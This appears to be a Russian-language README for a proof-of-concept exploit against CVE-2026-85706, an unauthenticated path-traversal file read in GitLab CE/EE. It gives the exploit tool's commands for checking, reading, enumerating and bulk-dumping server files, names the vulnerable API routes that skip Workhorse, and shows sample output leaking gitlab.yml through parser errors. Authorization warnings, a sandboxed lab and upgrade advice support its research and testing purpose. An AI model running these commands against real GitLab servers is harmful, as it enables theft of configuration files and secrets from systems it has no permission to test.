
PoC для CVE-2026-85706: неаутентифицированное произвольное локальное чтение файлов в GitLab CE/EE
CVE-2026-85706 — критическая уязвимость обхода пути / отсутствия аутентификации в API
Repository Commits и Repository Files GitLab CE/EE: неаутентифицированный злоумышленник может заставить сервер прочитать
произвольные файлы и получить их содержимое через канал ошибок. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
Официальное название GitLab — "Path Traversal issue in repository commits API impacts GitLab CE/EE". Исправление выпущено 2026-09-10 в 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Используете self-managed GitLab <= 19.3.1? Обновитесь до 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Только авторизованное использование. Запускайте этот инструмент только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Этот репозиторий содержит независимый proof of concept, минимальную лабораторию для воспроизведения и полный технический анализ:
Данные, полученные из каких-либо сторонних систем, не включены.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
Лаборатория слушает только 127.0.0.1 и читает только внутри своей песочницы lab/vault/, поэтому она никогда не может
затронуть файлы на вашей реальной машине.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Добавьте --insecure для самоподписанных сертификатов и предпочитайте числовой id проекта закодированному пути
(--project <id> вместо group%2Fproject).
| Команда | Назначение | Ключевые опции |
|---|---|---|
check | Уязвима ли цель? Сравнивает ответы для каждого вектора обхода | --canary-path, --no-bypass-probe |
read | Читает один файл и сообщает, утекает ли его содержимое | --file <path>, --media <type> |
enum | Проверяет список путей и классифицирует каждый из них | --wordlist, --wordlist-file |
dump | Сохраняет каждый читаемый файл на диск вместе с манифестом и необработанными ответами | --files, --files-file, --outdir |
Метки, выводимые check:
| Метка | Путь запроса |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check — уязвима ли цель?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Коды выхода: 0 — уязвима; 1 — не эксплуатируется протестированными векторами (исправлена или маршрут недоступен).
Две детали, которые стоит знать:
Workhorse bypass probe — это доказательство маршрутизации: file существует только тогда, когда Workhorse буферизовал и
подписал тело, поэтому 400 {"error":"file is missing"} доказывает, что маршрут обхода пропустил этот конвейер,
при этом всё ещё достигая API. На исправленной сборке последняя строка читается как HTTP 401.commits-canonical -> 401) — это контрольный случай: там Workhorse перезаписывает
file.path, поэтому значение злоумышленника никогда не достигает уязвимого кода.read — чтение одного файла$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Коды выхода: 0 — содержимое раскрыто или чтение до аутентификации подтверждено базовой проверкой; 1 — чтение до аутентификации не обнаружено.
enum / dump — массовая проверкаpython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt содержит 45 интересных путей GitLab/Linux; --wordlist / --files можно указывать inline или
через файл, и обе формы можно комбинировать. Это единственные две подкоманды, которые затрагивают реальное содержимое
файлов — записывайте вывод за пределами этого репозитория и никогда не публикуйте то, что они захватят.
| Опция | Значение |
|---|---|
--url <base URL> | Базовый URL цели (обязательно) |
--project <id or encoded path> | Id публичного проекта (123) или URL-encoded путь (group%2Fproject), обязательно |
--token <PRIVATE-TOKEN> | Необязательно; тестировать аутентифицированный путь |
--insecure | Пропустить проверку TLS (самоподписанные сертификаты) |
-v, --verbose | Выводить каждый запрос/ответ в stderr |
--canary-path <path> | Гарантированно отсутствующий путь, используемый как базовая проверка уязвимости |
--color <mode> | auto (по умолчанию, цвета на реальном терминале), always, never |
Порядок опций важен: общие опции идут после подкоманды — check --url ... --insecure, а не
--url ... check.
| Тест | Результат |
|---|---|
Исправленный контроль — gitlab.com, 19.3.2+ | Каждый вектор возвращает 401; единственный другой ответ — это 400 {"error":"file is missing"}, доказывающий обход маршрутизации |
Локальная лаборатория — lab/vulnerable_api.py | Воспроизводит баг доверия на стороне Rails от начала до конца; --patched даёт сборку для сравнения |
| Реальный self-managed экземпляр — 19.3.1, письменное разрешение | Уязвимость подтверждена; детали хоста и проекта намеренно не публикуются здесь. Агрегированные результаты в ANALYSIS.md, раздел 4.3 |
Этот материал предоставлен для исследований в области безопасности и авторизованного тестирования — ваша собственная лаборатория, программа bug-bounty или пентест с письменным разрешением. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Неавторизованный доступ к сторонним системам незаконен. Предоставляется как есть, без каких-либо гарантий.